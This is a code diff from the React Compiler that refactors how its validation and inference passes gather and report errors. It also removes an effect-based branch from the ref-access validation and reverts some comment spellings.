// Check if any detail is an invariant — if so, re-throw
for (const detail of err.details) {
if (detail.category === ErrorCategory.Invariant) {
throw err;
}
}
this.recordErrors(err);
} else {
throw err;
}
}
}
isContextIdentifier(node: t.Identifier): boolean {
return this.#contextIdentifiers.has(node);
}

View File

@@ -826,7 +826,6 @@ export type StartMemoize = {
* emitting diagnostics with a suggested replacement
*/
depsLoc: SourceLocation | null;
hasInvalidDeps?: true;
loc: SourceLocation;
};
export type FinishMemoize = {

View File

@@ -7,12 +7,7 @@
import {Binding, NodePath} from '@babel/traverse';
import * as t from '@babel/types';
import {
CompilerError,
CompilerDiagnostic,
CompilerErrorDetail,
ErrorCategory,
} from '../CompilerError';
import {CompilerError, ErrorCategory} from '../CompilerError';
import {Environment} from './Environment';
import {
BasicBlock,
@@ -115,6 +110,7 @@ export default class HIRBuilder {
#bindings: Bindings;
#env: Environment;
#exceptionHandlerStack: Array<BlockId> = [];
errors: CompilerError = new CompilerError();
/**
* Traversal context: counts the number of `fbt` tag parents
* of the current babel node.
@@ -152,10 +148,6 @@ export default class HIRBuilder {
this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');
}
recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
this.#env.recordError(error);
}
currentBlockKind(): BlockKind {
return this.#current.kind;
}
@@ -316,28 +308,34 @@ export default class HIRBuilder {
resolveBinding(node: t.Identifier): Identifier {
if (node.name === 'fbt') {
this.recordError(
new CompilerErrorDetail({
category: ErrorCategory.Todo,
reason: 'Support local variables named `fbt`',
description:
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
loc: node.loc ?? GeneratedSource,
suggestions: null,
}),
);
CompilerError.throwDiagnostic({
category: ErrorCategory.Todo,
reason: 'Support local variables named `fbt`',
description:
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
details: [
{
kind: 'error',
message: 'Rename to avoid conflict with fbt plugin',
loc: node.loc ?? GeneratedSource,
},
],
});
}
if (node.name === 'this') {
this.recordError(
new CompilerErrorDetail({
category: ErrorCategory.UnsupportedSyntax,
reason: '`this` is not supported syntax',
description:
'React Compiler does not support compiling functions that use `this`',
loc: node.loc ?? GeneratedSource,
suggestions: null,
}),
);
CompilerError.throwDiagnostic({
category: ErrorCategory.UnsupportedSyntax,
reason: '`this` is not supported syntax',
description:
'React Compiler does not support compiling functions that use `this`',
details: [
{
kind: 'error',
message: '`this` was used here',
loc: node.loc ?? GeneratedSource,
},
],
});
}
const originalName = node.name;
let name = originalName;
@@ -383,15 +381,13 @@ export default class HIRBuilder {
instr => instr.value.kind === 'FunctionExpression',
)
) {
this.recordError(
new CompilerErrorDetail({
reason: `Support functions with unreachable code that may contain hoisted declarations`,
loc: block.instructions[0]?.loc ?? block.terminal.loc,
description: null,
suggestions: null,
category: ErrorCategory.Todo,
}),
);
this.errors.push({
reason: `Support functions with unreachable code that may contain hoisted declarations`,
loc: block.instructions[0]?.loc ?? block.terminal.loc,
description: null,
suggestions: null,
category: ErrorCategory.Todo,
});
}
}
ir.blocks = rpoBlocks;

View File

@@ -293,7 +293,7 @@ function extractManualMemoizationArgs(
instr: TInstruction<CallExpression> | TInstruction<MethodCall>,
kind: 'useCallback' | 'useMemo',
sidemap: IdentifierSidemap,
env: Environment,
errors: CompilerError,
): {
fnPlace: Place;
depsList: Array<ManualMemoDependency> | null;
@@ -303,7 +303,7 @@ function extractManualMemoizationArgs(
Place | SpreadPattern | undefined
>;
if (fnPlace == null || fnPlace.kind !== 'Identifier') {
env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected a callback function to be passed to ${kind}`,
@@ -335,7 +335,7 @@ function extractManualMemoizationArgs(
? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)
: null;
if (maybeDepsList == null) {
env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected the dependency list for ${kind} to be an array literal`,
@@ -354,7 +354,7 @@ function extractManualMemoizationArgs(
for (const dep of maybeDepsList.deps) {
const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
if (maybeDep == null) {
env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
@@ -389,6 +389,7 @@ function extractManualMemoizationArgs(
* is only used for memoizing values and not for running arbitrary side effects.
*/
export function dropManualMemoization(func: HIRFunction): void {
const errors = new CompilerError();
const isValidationEnabled =
func.env.config.validatePreserveExistingMemoizationGuarantees ||
func.env.config.validateNoSetStateInRender ||
@@ -435,7 +436,7 @@ export function dropManualMemoization(func: HIRFunction): void {
instr as TInstruction<CallExpression> | TInstruction<MethodCall>,
manualMemo.kind,
sidemap,
func.env,
errors,
);
if (memoDetails == null) {
@@ -463,7 +464,7 @@ export function dropManualMemoization(func: HIRFunction): void {
* is rare and likely sketchy.
*/
if (!sidemap.functions.has(fnPlace.identifier.id)) {
func.env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.UseMemo,
reason: `Expected the first argument to be an inline function expression`,
@@ -548,6 +549,10 @@ export function dropManualMemoization(func: HIRFunction): void {
markInstructionIds(func.body);
}
}
if (errors.hasAnyErrors()) {
func.env.recordErrors(errors);
}
}
function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {

View File

@@ -513,7 +513,7 @@ function inferBlock(
if (handlerParam != null) {
CompilerError.invariant(state.kind(handlerParam) != null, {
reason:
'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
'Expected catch binding to be intialized with a DeclareLocal Catch instruction',
loc: terminal.loc,
});
const effects: Array<AliasingEffect> = [];
@@ -1315,7 +1315,7 @@ class InferenceState {
#values: Map<InstructionValue, AbstractValue>;
/*
* The set of values pointed to by each identifier. This is a set
* to accommodate phi points (where a variable may have different
* to accomodate phi points (where a variable may have different
* values from different control flow paths).
*/
#variables: Map<IdentifierId, Set<InstructionValue>>;

View File

@@ -20,7 +20,6 @@ import {
Place,
isPrimitiveType,
} from '../HIR/HIR';
import {Environment} from '../HIR/Environment';
import {
eachInstructionLValue,
eachInstructionValueOperand,
@@ -108,7 +107,7 @@ export function inferMutationAliasingRanges(
let index = 0;
const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;
const errors = new CompilerError();
for (const param of [...fn.params, ...fn.context, fn.returns]) {
const place = param.kind === 'Identifier' ? param : param.place;
@@ -201,9 +200,7 @@ export function inferMutationAliasingRanges(
effect.kind === 'MutateGlobal' ||
effect.kind === 'Impure'
) {
if (shouldRecordErrors) {
fn.env.recordError(effect.error);
}
errors.pushDiagnostic(effect.error);
functionEffects.push(effect);
} else if (effect.kind === 'Render') {
renders.push({index: index++, place: effect.place});
@@ -248,15 +245,11 @@ export function inferMutationAliasingRanges(
mutation.kind,
mutation.place.loc,
mutation.reason,
shouldRecordErrors ? fn.env : null,
errors,
);
}
for (const render of renders) {
state.render(
render.index,
render.place.identifier,
shouldRecordErrors ? fn.env : null,
);
state.render(render.index, render.place.identifier, errors);
}
for (const param of [...fn.context, ...fn.params]) {
const place = param.kind === 'Identifier' ? param : param.place;
@@ -505,6 +498,7 @@ export function inferMutationAliasingRanges(
* would be transitively mutated needs a capture relationship.
*/
const tracked: Array<Place> = [];
const ignoredErrors = new CompilerError();
for (const param of [...fn.params, ...fn.context, fn.returns]) {
const place = param.kind === 'Identifier' ? param : param.place;
tracked.push(place);
@@ -519,7 +513,7 @@ export function inferMutationAliasingRanges(
MutationKind.Conditional,
into.loc,
null,
null,
ignoredErrors,
);
for (const from of tracked) {
if (
@@ -553,17 +547,23 @@ export function inferMutationAliasingRanges(
}
}
if (
errors.hasAnyErrors() &&
!isFunctionExpression &&
fn.env.enableValidations
) {
fn.env.recordErrors(errors);
}
return functionEffects;
}
function appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {
if (env == null) return;
function appendFunctionErrors(errors: CompilerError, fn: HIRFunction): void {
for (const effect of fn.aliasingEffects ?? []) {
switch (effect.kind) {
case 'Impure':
case 'MutateFrozen':
case 'MutateGlobal': {
env.recordError(effect.error);
errors.pushDiagnostic(effect.error);
break;
}
}
@@ -664,7 +664,7 @@ class AliasingState {
}
}
render(index: number, start: Identifier, env: Environment | null): void {
render(index: number, start: Identifier, errors: CompilerError): void {
const seen = new Set<Identifier>();
const queue: Array<Identifier> = [start];
while (queue.length !== 0) {
@@ -678,7 +678,7 @@ class AliasingState {
continue;
}
if (node.value.kind === 'Function') {
appendFunctionErrors(env, node.value.function);
appendFunctionErrors(errors, node.value.function);
}
for (const [alias, when] of node.createdFrom) {
if (when >= index) {
@@ -710,7 +710,7 @@ class AliasingState {
startKind: MutationKind,
loc: SourceLocation,
reason: MutationReason | null,
env: Environment | null,
errors: CompilerError,
): void {
const seen = new Map<Identifier, MutationKind>();
const queue: Array<{
@@ -742,7 +742,7 @@ class AliasingState {
node.transitive == null &&
node.local == null
) {
appendFunctionErrors(env, node.value.function);
appendFunctionErrors(errors, node.value.function);
}
if (transitive) {
if (node.transitive == null || node.transitive.kind < kind) {

View File

@@ -24,7 +24,7 @@ The goal of mutability and aliasing inference is to understand the set of instru
In code, the mutability and aliasing model is compromised of the following phases:
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errros) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
@@ -69,7 +69,7 @@ Describes the creation of new function value, capturing the given set of mutable
kind: 'Apply';
receiver: Place;
function: Place; // same as receiver for function calls
mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
mutatesFunction: boolean; // indicates if this is a type that we consdier to mutate the function itself by default
args: Array<Place | SpreadPattern | Hole>;
into: Place; // where result is stored
signature: FunctionSignature | null;
@@ -526,7 +526,7 @@ Capture c <- a
Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
Capture then CreatFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
```js
const b = [a]; // capture

View File

@@ -1007,10 +1007,11 @@ class Driver {
const test = this.visitValueBlock(testBlockId, loc);
const testBlock = this.cx.ir.blocks.get(test.block)!;
if (testBlock.terminal.kind !== 'branch') {
CompilerError.invariant(false, {
reason: `Expected a branch terminal for ${terminalKind} test block`,
description: `Got \`${testBlock.terminal.kind}\``,
CompilerError.throwTodo({
reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for ${terminalKind} test block`,
description: null,
loc: testBlock.terminal.loc,
suggestions: null,
});
}
return {

View File

@@ -13,11 +13,7 @@ import {
pruneUnusedLabels,
renameVariables,
} from '.';
import {
CompilerError,
CompilerErrorDetail,
ErrorCategory,
} from '../CompilerError';
import {CompilerError, ErrorCategory} from '../CompilerError';
import {Environment, ExternalFunction} from '../HIR';
import {
ArrayPattern,
@@ -351,6 +347,10 @@ function codegenReactiveFunction(
}
}
if (cx.errors.hasAnyErrors()) {
fn.env.recordErrors(cx.errors);
}
const countMemoBlockVisitor = new CountMemoBlockVisitor(fn.env);
visitReactiveFunction(fn, countMemoBlockVisitor, undefined);
@@ -420,6 +420,7 @@ class Context {
*/
#declarations: Set<DeclarationId> = new Set();
temp: Temporaries;
errors: CompilerError = new CompilerError();
objectMethods: Map<IdentifierId, ObjectMethod> = new Map();
uniqueIdentifiers: Set<string>;
fbtOperands: Set<IdentifierId>;
@@ -438,11 +439,6 @@ class Context {
this.fbtOperands = fbtOperands;
this.temp = temporaries !== null ? new Map(temporaries) : new Map();
}
recordError(error: CompilerErrorDetail): void {
this.env.recordError(error);
}
get nextCacheIndex(): number {
return this.#nextCacheIndex++;
}
@@ -779,15 +775,12 @@ function codegenTerminal(
loc: terminal.init.loc,
});
if (terminal.init.instructions.length !== 2) {
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..in inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
CompilerError.throwTodo({
reason: 'Support non-trivial for..in inits',
description: null,
loc: terminal.init.loc,
suggestions: null,
});
}
const iterableCollection = terminal.init.instructions[0];
const iterableItem = terminal.init.instructions[1];
@@ -802,15 +795,12 @@ function codegenTerminal(
break;
}
case 'StoreContext': {
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..in inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
CompilerError.throwTodo({
reason: 'Support non-trivial for..in inits',
description: null,
loc: terminal.init.loc,
suggestions: null,
});
}
default:
CompilerError.invariant(false, {
@@ -880,15 +870,12 @@ function codegenTerminal(
loc: terminal.test.loc,
});
if (terminal.test.instructions.length !== 2) {
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..of inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
CompilerError.throwTodo({
reason: 'Support non-trivial for..of inits',
description: null,
loc: terminal.init.loc,
suggestions: null,
});
}
const iterableItem = terminal.test.instructions[1];
let lval: t.LVal;
@@ -902,15 +889,12 @@ function codegenTerminal(
break;
}
case 'StoreContext': {
cx.recordError(
new CompilerErrorDetail({
reason: 'Support non-trivial for..of inits',
category: ErrorCategory.Todo,
loc: terminal.init.loc,
suggestions: null,
}),
);
return t.emptyStatement();
CompilerError.throwTodo({
reason: 'Support non-trivial for..of inits',
description: null,
loc: terminal.init.loc,
suggestions: null,
});
}
default:
CompilerError.invariant(false, {
@@ -1969,26 +1953,22 @@ function codegenInstructionValue(
} else {
if (t.isVariableDeclaration(stmt)) {
const declarator = stmt.declarations[0];
cx.recordError(
new CompilerErrorDetail({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
(declarator.id as t.Identifier).name
}'`,
category: ErrorCategory.Todo,
loc: declarator.loc ?? null,
suggestions: null,
}),
);
cx.errors.push({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
(declarator.id as t.Identifier).name
}'`,
category: ErrorCategory.Todo,
loc: declarator.loc ?? null,
suggestions: null,
});
return t.stringLiteral(`TODO handle ${declarator.id}`);
} else {
cx.recordError(
new CompilerErrorDetail({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
category: ErrorCategory.Todo,
loc: stmt.loc ?? null,
suggestions: null,
}),
);
cx.errors.push({
reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
category: ErrorCategory.Todo,
loc: stmt.loc ?? null,
suggestions: null,
});
return t.stringLiteral(`TODO handle ${stmt.type}`);
}
}

View File

@@ -143,7 +143,7 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
}
/*
* Validate that all scopes have properly initialized, valid mutable ranges
* Validate that all scopes have properly intialized, valid mutable ranges
* within the span of instructions for this function, ie from 1 to 1 past
* the last instruction id.
*/

View File

@@ -102,6 +102,7 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
loc: place.loc,
});
}
const error = new CompilerError();
let startMemo: StartMemoize | null = null;
function onStartMemoize(
@@ -142,8 +143,7 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
'all',
);
if (diagnostic != null) {
fn.env.recordError(diagnostic);
startMemo.hasInvalidDeps = true;
error.pushDiagnostic(diagnostic);
}
}
@@ -208,12 +208,15 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
effectReportMode,
);
if (diagnostic != null) {
fn.env.recordError(diagnostic);
error.pushDiagnostic(diagnostic);
}
},
},
false, // isFunctionExpression
);
if (error.hasAnyErrors()) {
fn.env.recordErrors(error);
}
}
function validateDependencies(

View File

@@ -6,9 +6,13 @@
*/
import * as t from '@babel/types';
import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
import {
CompilerError,
CompilerErrorDetail,
ErrorCategory,
} from '../CompilerError';
import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
import {Environment, isHookName} from '../HIR/Environment';
import {isHookName} from '../HIR/Environment';
import {
HIRFunction,
IdentifierId,
@@ -86,14 +90,15 @@ function joinKinds(a: Kind, b: Kind): Kind {
export function validateHooksUsage(fn: HIRFunction): void {
const unconditionalBlocks = computeUnconditionalBlocks(fn);
const errors = new CompilerError();
const errorsByPlace = new Map<t.SourceLocation, CompilerErrorDetail>();
function trackError(
function recordError(
loc: SourceLocation,
errorDetail: CompilerErrorDetail,
): void {
if (typeof loc === 'symbol') {
fn.env.recordError(errorDetail);
errors.pushErrorDetail(errorDetail);
} else {
errorsByPlace.set(loc, errorDetail);
}
@@ -113,7 +118,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
* If that same place is also used as a conditional call, upgrade the error to a conditonal hook error
*/
if (previousError === undefined || previousError.reason !== reason) {
trackError(
recordError(
place.loc,
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
@@ -129,7 +134,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
const previousError =
typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
if (previousError === undefined) {
trackError(
recordError(
place.loc,
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
@@ -146,7 +151,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
const previousError =
typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
if (previousError === undefined) {
trackError(
recordError(
place.loc,
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
@@ -391,7 +396,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
}
case 'ObjectMethod':
case 'FunctionExpression': {
visitFunctionExpression(fn.env, instr.value.loweredFunc.func);
visitFunctionExpression(errors, instr.value.loweredFunc.func);
break;
}
default: {
@@ -416,17 +421,20 @@ export function validateHooksUsage(fn: HIRFunction): void {
}
for (const [, error] of errorsByPlace) {
fn.env.recordError(error);
errors.pushErrorDetail(error);
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}
function visitFunctionExpression(env: Environment, fn: HIRFunction): void {
function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
for (const [, block] of fn.body.blocks) {
for (const instr of block.instructions) {
switch (instr.value.kind) {
case 'ObjectMethod':
case 'FunctionExpression': {
visitFunctionExpression(env, instr.value.loweredFunc.func);
visitFunctionExpression(errors, instr.value.loweredFunc.func);
break;
}
case 'MethodCall':
@@ -437,7 +445,7 @@ function visitFunctionExpression(env: Environment, fn: HIRFunction): void {
: instr.value.property;
const hookKind = getHookKind(fn.env, callee.identifier);
if (hookKind != null) {
env.recordError(
errors.pushErrorDetail(
new CompilerErrorDetail({
category: ErrorCategory.Hooks,
reason:

View File

@@ -5,7 +5,7 @@
* LICENSE file in the root directory of this source tree.
*/
import {CompilerErrorDetail, EnvironmentConfig} from '..';
import {CompilerError, CompilerErrorDetail, EnvironmentConfig} from '..';
import {ErrorCategory} from '../CompilerError';
import {HIRFunction, IdentifierId} from '../HIR';
import {DEFAULT_GLOBALS} from '../HIR/Globals';
@@ -20,6 +20,7 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
return ALLOW_LIST.has(name);
};
const errors = new CompilerError();
const capitalLoadGlobals = new Map<IdentifierId, string>();
const capitalizedProperties = new Map<IdentifierId, string>();
const reason =
@@ -71,19 +72,20 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
const propertyIdentifier = value.property.identifier.id;
const propertyName = capitalizedProperties.get(propertyIdentifier);
if (propertyName != null) {
fn.env.recordError(
new CompilerErrorDetail({
category: ErrorCategory.CapitalizedCalls,
reason,
description: `${propertyName} may be a component`,
loc: value.loc,
suggestions: null,
}),
);
errors.push({
category: ErrorCategory.CapitalizedCalls,
reason,
description: `${propertyName} may be a component`,
loc: value.loc,
suggestions: null,
});
}
break;
}
}
}
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -6,7 +6,7 @@
*/
import {CompilerError, SourceLocation} from '..';
import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
import {ErrorCategory} from '../CompilerError';
import {
ArrayExpression,
BlockId,
@@ -20,7 +20,6 @@ import {
eachInstructionValueOperand,
eachTerminalOperand,
} from '../HIR/visitors';
import {Environment} from '../HIR/Environment';
/**
* Validates that useEffect is not used for derived computations which could/should
@@ -50,6 +49,8 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
const functions: Map<IdentifierId, FunctionExpression> = new Map();
const locals: Map<IdentifierId, IdentifierId> = new Map();
const errors = new CompilerError();
for (const block of fn.body.blocks.values()) {
for (const instr of block.instructions) {
const {lvalue, value} = instr;
@@ -89,19 +90,22 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
validateEffect(
effectFunction.loweredFunc.func,
dependencies,
fn.env,
errors,
);
}
}
}
}
}
for (const detail of errors.details) {
fn.env.recordError(detail);
}
}
function validateEffect(
effectFunction: HIRFunction,
effectDeps: Array<IdentifierId>,
env: Environment,
errors: CompilerError,
): void {
for (const operand of effectFunction.context) {
if (isSetStateType(operand.identifier)) {
@@ -215,15 +219,13 @@ function validateEffect(
}
for (const loc of setStateLocations) {
env.recordError(
new CompilerErrorDetail({
category: ErrorCategory.EffectDerivationsOfState,
reason:
'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
description: null,
loc,
suggestions: null,
}),
);
errors.push({
category: ErrorCategory.EffectDerivationsOfState,
reason:
'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
description: null,
loc,
suggestions: null,
});
}
}

View File

@@ -5,7 +5,7 @@
* LICENSE file in the root directory of this source tree.
*/
import {CompilerDiagnostic, Effect} from '..';
import {CompilerDiagnostic, CompilerError, Effect} from '..';
import {ErrorCategory} from '../CompilerError';
import {
HIRFunction,
@@ -43,6 +43,7 @@ import {AliasingEffect} from '../Inference/AliasingEffects';
* that are passed where a frozen value is expected and rejects them.
*/
export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
const errors = new CompilerError();
const contextMutationEffects: Map<
IdentifierId,
Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>
@@ -59,7 +60,7 @@ export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
place.identifier.name.kind === 'named'
? `\`${place.identifier.name.value}\``
: 'a local variable';
fn.env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.Immutability,
reason: 'Cannot modify local variables after render completes',
@@ -158,4 +159,7 @@ export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
visitOperand(operand);
}
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -5,7 +5,7 @@
* LICENSE file in the root directory of this source tree.
*/
import {CompilerDiagnostic} from '..';
import {CompilerDiagnostic, CompilerError} from '..';
import {ErrorCategory} from '../CompilerError';
import {HIRFunction} from '../HIR';
import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
@@ -20,6 +20,7 @@ import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffect
* and use it here.
*/
export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
const errors = new CompilerError();
for (const [, block] of fn.body.blocks) {
for (const instr of block.instructions) {
const value = instr.value;
@@ -31,7 +32,7 @@ export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
callee.identifier.type,
);
if (signature != null && signature.impure === true) {
fn.env.recordError(
errors.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.Purity,
reason: 'Cannot call impure function during render',
@@ -51,4 +52,7 @@ export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
}
}
}
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -124,8 +124,8 @@ export function validateNoRefAccessInRender(fn: HIRFunction): void {
collectTemporariesSidemap(fn, env);
const errors = new CompilerError();
validateNoRefAccessInRenderImpl(fn, env, errors);
for (const detail of errors.details) {
fn.env.recordError(detail);
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}
@@ -487,26 +487,24 @@ function validateNoRefAccessInRenderImpl(
*/
if (!didError) {
const isRefLValue = isUseRefType(instr.lvalue.identifier);
if (
isRefLValue ||
(hookKind != null &&
hookKind !== 'useState' &&
hookKind !== 'useReducer')
) {
for (const operand of eachInstructionValueOperand(
instr.value,
)) {
for (const operand of eachInstructionValueOperand(instr.value)) {
/**
* By default we check that function call operands are not refs,
* ref values, or functions that can access refs.
*/
if (
isRefLValue ||
(hookKind != null &&
hookKind !== 'useState' &&
hookKind !== 'useReducer')
) {
/**
* Allow passing refs or ref-accessing functions when:
* 1. lvalue is a ref (mergeRefs pattern: `mergeRefs(ref1, ref2)`)
* 2. calling hooks (independently validated for ref safety)
*/
validateNoDirectRefValueAccess(errors, operand, env);
}
} else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
for (const operand of eachInstructionValueOperand(
instr.value,
)) {
} else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
/**
* Special case: the lvalue is passed as a jsx child
*
@@ -515,98 +513,7 @@ function validateNoRefAccessInRenderImpl(
* render function which attempts to obey the rules.
*/
validateNoRefValueAccess(errors, env, operand);
}
} else if (hookKind == null && instr.effects != null) {
/**
* For non-hook functions with known aliasing effects, use the
* effects to determine what validation to apply for each place.
* Track visited id:kind pairs to avoid duplicate errors.
*/
const visitedEffects: Set<string> = new Set();
for (const effect of instr.effects) {
let place: Place | null = null;
let validation: 'ref-passed' | 'direct-ref' | 'none' = 'none';
switch (effect.kind) {
case 'Freeze': {
place = effect.value;
validation = 'direct-ref';
break;
}
case 'Mutate':
case 'MutateTransitive':
case 'MutateConditionally':
case 'MutateTransitiveConditionally': {
place = effect.value;
validation = 'ref-passed';
break;
}
case 'Render': {
place = effect.place;
validation = 'ref-passed';
break;
}
case 'Capture':
case 'Alias':
case 'MaybeAlias':
case 'Assign':
case 'CreateFrom': {
place = effect.from;
validation = 'ref-passed';
break;
}
case 'ImmutableCapture': {
/**
* ImmutableCapture can come from two sources:
* 1. A known signature that explicitly freezes the operand
* (e.g. PanResponder.create) — safe, the function doesn't
* call callbacks during render.
* 2. Downgraded defaults when the operand is already frozen
* (e.g. foo(propRef)) — the function is unknown and may
* access the ref.
*
* We distinguish these by checking whether the same operand
* also has a Freeze effect on this instruction, which only
* comes from known signatures.
*/
place = effect.from;
const isFrozen = instr.effects.some(
e =>
e.kind === 'Freeze' &&
e.value.identifier.id === effect.from.identifier.id,
);
validation = isFrozen ? 'direct-ref' : 'ref-passed';
break;
}
case 'Create':
case 'CreateFunction':
case 'Apply':
case 'Impure':
case 'MutateFrozen':
case 'MutateGlobal': {
break;
}
}
if (place !== null && validation !== 'none') {
const key = `${place.identifier.id}:${validation}`;
if (!visitedEffects.has(key)) {
visitedEffects.add(key);
if (validation === 'direct-ref') {
validateNoDirectRefValueAccess(errors, place, env);
} else {
validateNoRefPassedToFunction(
errors,
env,
place,
place.loc,
);
}
}
}
}
} else {
for (const operand of eachInstructionValueOperand(
instr.value,
)) {
} else {
validateNoRefPassedToFunction(
errors,
env,

View File

@@ -48,8 +48,8 @@ export function validateNoSetStateInRender(fn: HIRFunction): void {
fn,
unconditionalSetStateFunctions,
);
for (const detail of errors.details) {
fn.env.recordError(detail);
if (errors.hasAnyErrors()) {
fn.env.recordErrors(errors);
}
}

View File

@@ -27,7 +27,6 @@ import {
ScopeId,
SourceLocation,
} from '../HIR';
import {Environment} from '../HIR/Environment';
import {printIdentifier, printManualMemoDependency} from '../HIR/PrintHIR';
import {
eachInstructionValueLValue,
@@ -49,10 +48,13 @@ import {getOrInsertDefault} from '../Utils/utils';
*/
export function validatePreservedManualMemoization(fn: ReactiveFunction): void {
const state = {
env: fn.env,
errors: new CompilerError(),
manualMemoState: null,
};
visitReactiveFunction(fn, new Visitor(), state);
for (const detail of state.errors.details) {
fn.env.recordError(detail);
}
}
const DEBUG = false;
@@ -110,7 +112,7 @@ type ManualMemoBlockState = {
};
type VisitorState = {
env: Environment;
errors: CompilerError;
manualMemoState: ManualMemoBlockState | null;
};
@@ -230,7 +232,7 @@ function validateInferredDep(
temporaries: Map<IdentifierId, ManualMemoDependency>,
declsWithinMemoBlock: Set<DeclarationId>,
validDepsInMemoBlock: Array<ManualMemoDependency>,
env: Environment,
errorState: CompilerError,
memoLocation: SourceLocation,
): void {
let normalizedDep: ManualMemoDependency;
@@ -280,7 +282,7 @@ function validateInferredDep(
errorDiagnostic = merge(errorDiagnostic ?? compareResult, compareResult);
}
}
env.recordError(
errorState.pushDiagnostic(
CompilerDiagnostic.create({
category: ErrorCategory.PreserveManualMemo,
reason: 'Existing memoization could not be preserved',
